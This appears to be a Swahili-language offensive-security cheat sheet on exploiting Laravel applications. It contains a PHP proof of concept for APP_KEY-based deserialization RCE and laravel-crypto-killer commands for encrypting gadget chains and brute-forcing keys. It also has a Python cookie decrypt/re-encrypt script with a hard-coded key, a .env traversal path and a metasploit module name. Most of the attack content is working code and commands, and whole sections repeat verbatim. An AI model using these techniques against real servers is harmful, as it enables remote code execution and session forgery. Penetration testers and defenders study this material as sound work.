# Laravel

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### Laravel SQLInjection

Soma habari kuhusu hii hapa: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)

---

## APP_KEY & Msingi wa Uthibitishaji (Laravel \u003e=5.6)

Laravel inatumia AES-256-CBC (au GCM) na HMAC uaminifu chini ya uso (`Illuminate\\Encryption\\Encrypter`).
Ciphertext safi ambayo hatimaye **inatumwa kwa mteja** ni **Base64 ya kitu cha JSON** kama:
```json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` itafanya `serialize()` maandiko ya wazi kwa chaguo-msingi, wakati `decrypt($payload, $unserialize=true)` **itautumia kiotomatiki `unserialize()`** thamani iliyofichwa. Hivyo basi **mshambuliaji yeyote anayejua siri ya byte 32 `APP_KEY` anaweza kuunda kitu kilichofichwa cha PHP kilichosajiliwa na kupata RCE kupitia mbinu za kichawi (`__wakeup`, `__destruct`, …)**.

Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste
```
Ingiza string iliyozalishwa kwenye chochote kilichovuja `decrypt()` sink (paramu ya njia, cookie, kikao, …).

---

## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) inafanya mchakato mzima kuwa wa kiotomatiki na kuongeza hali rahisi ya **bruteforce**:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
The script inasaidia kwa uwazi payloads za CBC na GCM na inazalisha tena uwanja wa HMAC/tag.

---

## Mifano halisi ya udhaifu

| Mradi | Kitu kinachoweza kuathiriwa | Mnyororo wa gadget |
|-------|-----------------------------|--------------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie wakati `Passport::withCookieSerialization()` imewezeshwa | Laravel/RCE9 |
| Crater  (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |

Mchakato wa unyakuzi daima ni:
1. Pata `APP_KEY` (mfano wa chaguo-msingi, kuvuja kwa Git, kuvuja kwa config/.env, au brute-force)
2. Zalisha gadget na **PHPGGC**
3. `laravel_crypto_killer.py encrypt …`
4. Toa payload kupitia parameter/cookie inayoweza kuathiriwa → **RCE**

---

## Ugunduzi wa wingi wa APP_KEY kupitia brute-force ya cookie

Kwa sababu kila jibu jipya la Laravel linaweka angalau cookie 1 iliyosimbwa (`XSRF-TOKEN` na kawaida `laravel_session`), **scanner za umma za mtandao (Shodan, Censys, …) zinavuja mamilioni ya ciphertexts** ambazo zinaweza kushambuliwa bila mtandao.

Matokeo muhimu ya utafiti uliochapishwa na Synacktiv (2024-2025):
* Dataset Julai 2024 » 580 k tokens, **3.99 % funguo zimevunjwa** (≈23 k)
* Dataset Mei 2025 » 625 k tokens, **3.56 % funguo zimevunjwa**
* >1 000 seva bado zina udhaifu kwa CVE-2018-15133 ya zamani kwa sababu tokens zinajumuisha moja kwa moja data iliyosimbwa.
* Matumizi makubwa ya funguo – Top-10 APP_KEYs zimeandikwa kwa chaguo-msingi ambazo zimesambazwa na templeti za kibiashara za Laravel (UltimatePOS, Invoice Ninja, XPanel, …).

Zana ya kibinafsi ya Go **nounours** inasukuma throughput ya AES-CBC/GCM brute-force hadi ~1.5 bilioni majaribio/s, ikipunguza muda wa kuvunja dataset kamili hadi <2 dakika.

---

## Marejeleo
* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)

## Laravel Tricks

### Modu ya Debugging

Ikiwa Laravel iko katika **modu ya debugging** utaweza kufikia **code** na **data nyeti**.\
Kwa mfano `http://127.0.0.1:8000/profiles`:

![](<../../images/image (1046).png>)

Hii kwa kawaida inahitajika kwa ajili ya kutumia udhaifu mwingine wa RCE wa Laravel.

### .env

Laravel huhifadhi APP inayotumia kusimbua cookies na akreditivu nyingine ndani ya faili inayoitwa `.env` ambayo inaweza kufikiwa kwa kutumia baadhi ya njia za kupita: `/../.env`

Laravel pia itaonyesha habari hii ndani ya ukurasa wa debug (ambao unaonekana wakati Laravel inapata kosa na umewezeshwa).

Kwa kutumia APP_KEY ya siri ya Laravel unaweza kusimbua na kusimbua tena cookies:

### Decrypt Cookie
```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
```
### Laravel Deserialization RCE

Toleo lenye udhaifu: 5.5.40 na 5.6.x kupitia 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

Hapa unaweza kupata taarifa kuhusu udhaifu wa deserialization hapa: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

Unaweza kujaribu na kutumia kwa kutumia [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Au unaweza pia kutumia kwa metasploit: `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

Deserialization nyingine: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)

### Laravel SQLInjection

Soma taarifa kuhusu hii hapa: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)

### Laravel SQLInjection

Soma taarifa kuhusu hii hapa: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)

---

## APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravel inatumia AES-256-CBC (au GCM) na HMAC uadilifu chini ya uso (`Illuminate\\Encryption\\Encrypter`).
Ciphertext safi ambayo hatimaye **inatumwa kwa mteja** ni **Base64 ya kitu cha JSON** kama:
```json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` itafanya `serialize()` maandiko ya wazi kwa chaguo-msingi, wakati `decrypt($payload, $unserialize=true)` **itautumia kiotomatiki `unserialize()`** thamani iliyofichwa. Hivyo basi **mshambuliaji yeyote anayejua siri ya byte 32 `APP_KEY` anaweza kuunda kitu kilichofichwa cha PHP kilichosajiliwa na kupata RCE kupitia mbinu za kichawi (`__wakeup`, `__destruct`, …)**.

Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste
```
Ingiza string iliyozalishwa kwenye chochote kilichovuja `decrypt()` sink (paramu ya njia, cookie, kikao, …).

---

## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) inafanya mchakato mzima kuwa wa kiotomatiki na kuongeza hali rahisi ya **bruteforce**:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
The script inasaidia kwa uwazi payloads za CBC na GCM na inazalisha tena uwanja wa HMAC/tag.

---

## Mifano halisi ya udhaifu

| Mradi | Kitu kilichoharibika | Mnyororo wa gadget |
|-------|----------------------|--------------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie wakati `Passport::withCookieSerialization()` imewezeshwa | Laravel/RCE9 |
| Crater  (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |

Mchakato wa unyakuzi daima ni:
1. Pata `APP_KEY` (mfano wa chaguo-msingi, kuvuja kwa Git, kuvuja kwa config/.env, au brute-force)
2. Zalisha gadget na **PHPGGC**
3. `laravel_crypto_killer.py encrypt …`
4. Toa payload kupitia parameter/cookie iliyoathirika → **RCE**

---

## Ugunduzi wa wingi wa APP_KEY kupitia brute-force ya cookie

Kwa sababu kila jibu jipya la Laravel linaweka angalau cookie 1 iliyosimbwa (`XSRF-TOKEN` na kawaida `laravel_session`), **scanner za umma za mtandao (Shodan, Censys, …) zinavuja mamilioni ya ciphertexts** ambazo zinaweza kushambuliwa bila mtandao.

Utafiti uliochapishwa na Synacktiv (2024-2025) umebaini:
* Dataset Julai 2024 » 580 k tokens, **3.99 % funguo zimevunjwa** (≈23 k)
* Dataset Mei 2025 » 625 k tokens, **3.56 % funguo zimevunjwa**
* >1 000 seva bado zina udhaifu wa CVE-2018-15133 kwa sababu tokens zinajumuisha moja kwa moja data iliyosimbwa.
* Matumizi makubwa ya funguo – Top-10 APP_KEYs zimeandikwa kwa chaguo-msingi ambazo zimesambazwa na templeti za kibiashara za Laravel (UltimatePOS, Invoice Ninja, XPanel, …).

Zana ya kibinafsi ya Go **nounours** inasukuma throughput ya AES-CBC/GCM bruteforce hadi ~1.5 bilioni majaribio/s, ikipunguza muda wa kuvunja dataset kamili hadi <2 dakika.

---

## Marejeleo
* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)

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